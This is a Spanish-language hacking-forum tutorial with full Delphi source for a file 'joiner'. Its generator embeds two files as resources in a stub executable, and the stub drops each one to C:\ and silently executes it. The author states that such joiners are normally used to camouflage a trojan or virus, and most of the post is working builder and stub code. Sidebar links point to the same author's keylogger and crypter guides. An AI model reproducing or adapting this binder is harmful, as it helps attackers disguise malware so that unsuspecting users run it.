elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] Creacion de un Joiner
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] Creacion de un Joiner  (Leído 1,738 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] Creacion de un Joiner
« en: 29 Agosto 2013, 01:16 am »

[Titulo] : Creacion de un Joiner
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.

¿ Que es un Joiner ?

Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.

¿ Que es un stub ?

El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.

0x02 : Creacion del generador

Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez creado , creamos dos cajas edit y un boton como en la imagen :



Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2.  
  3. var
  4.  archivo1: string; // Declaramos la variable archivo1 como string
  5.  archivo2: string; // Declaramos la variable archivo2 como string
  6.  uno: DWORD; // Declaramos la variable uno como dword
  7.  tam: DWORD; // Declaramos la variable tam como dword
  8.  dos: DWORD; // Declaramos la variable dos como dword
  9.  tres: DWORD; // Declaramos la variable tres como dword
  10.  todo: Pointer; // Declaramos la variable todo como pointer
  11.  
  12. begin
  13.  
  14.  uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe
  15.  
  16.  archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo
  17.  
  18.  dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil,
  19.    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo
  20.  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  21.  GetMem(todo, tam); // Capturamos la memoria
  22.  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  23.  CloseHandle(dos); // Cerramos el archivo
  24.  UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL,
  25.      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
  26.  
  27.  archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo
  28.  
  29.  dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil,
  30.    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  31.  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  32.  GetMem(todo, tam); // Capturamos la memoria
  33.  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  34.  CloseHandle(dos); // Cerramos el archivo
  35.  UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL,
  36.      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
  37.  
  38.  EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso
  39.  
  40. end;
  41.  

Una imagen del codigo comentado.



0x03 : Creacion del stub

Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :



Una vez hecho copiamos el siguiente codigo :

Código
  1. program stub;
  2.  
  3. uses Windows, ShellApi; // Cargamos los modulos necesarios
  4.  
  5. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL;
  6.  stdcall; // Empieza la funcion con los parametros
  7. var
  8.  data: DWORD; // Declaramos como DWORD la variable data
  9.  uno: DWORD; // Declaramos como DWORD la variable uno
  10.  dos: DWORD; // Declaramos como DWORD la variable dos
  11.  
  12. begin
  13.  
  14.  Result := True; // Retornamos true en la funcion
  15.  
  16.  data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos
  17.  
  18.  uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  19.    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo
  20.  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
  21.    dos, nil); // Escribimos en el archivo creado
  22.  
  23.  CloseHandle(uno); // Cerramos
  24.  
  25.  ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL);
  26.  // Ejecutamos el archivo
  27.  
  28. end;
  29.  
  30. begin
  31.  EnumResourceNames(0, RT_RCDATA, @start, 0);
  32.  
  33.  // Funcion para cargar los archivos del joiner
  34. end.
  35.  


Una imagen del codigo comentado.



0x04 : Probando el Joiner

Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"

Primero cargamos el generador :



Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.



Eso es todo.

El manual esta disponible en PDF aca.

--========--
  The End ?
--========--


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Creacion de un troyano: Visual Basic o Delphi?
Programación General
Bomb-P 1 1,963 Último mensaje 14 Abril 2013, 14:35 pm
por 0xDani
[Delphi] Creacion de un Server Builder « 1 2 »
Programación General
BigBear 11 5,390 Último mensaje 17 Julio 2013, 13:16 pm
por OmarHack
[Delphi] Creacion de un Keylogger
Análisis y Diseño de Malware
BigBear 5 5,783 Último mensaje 12 Octubre 2014, 03:49 am
por Fabian994
[Delphi] Creacion de un IRC Bot
Análisis y Diseño de Malware
BigBear 0 3,175 Último mensaje 24 Septiembre 2013, 21:37 pm
por BigBear
[Delphi] Creacion de un Crypter
Análisis y Diseño de Malware
BigBear 0 3,002 Último mensaje 12 Abril 2015, 21:54 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines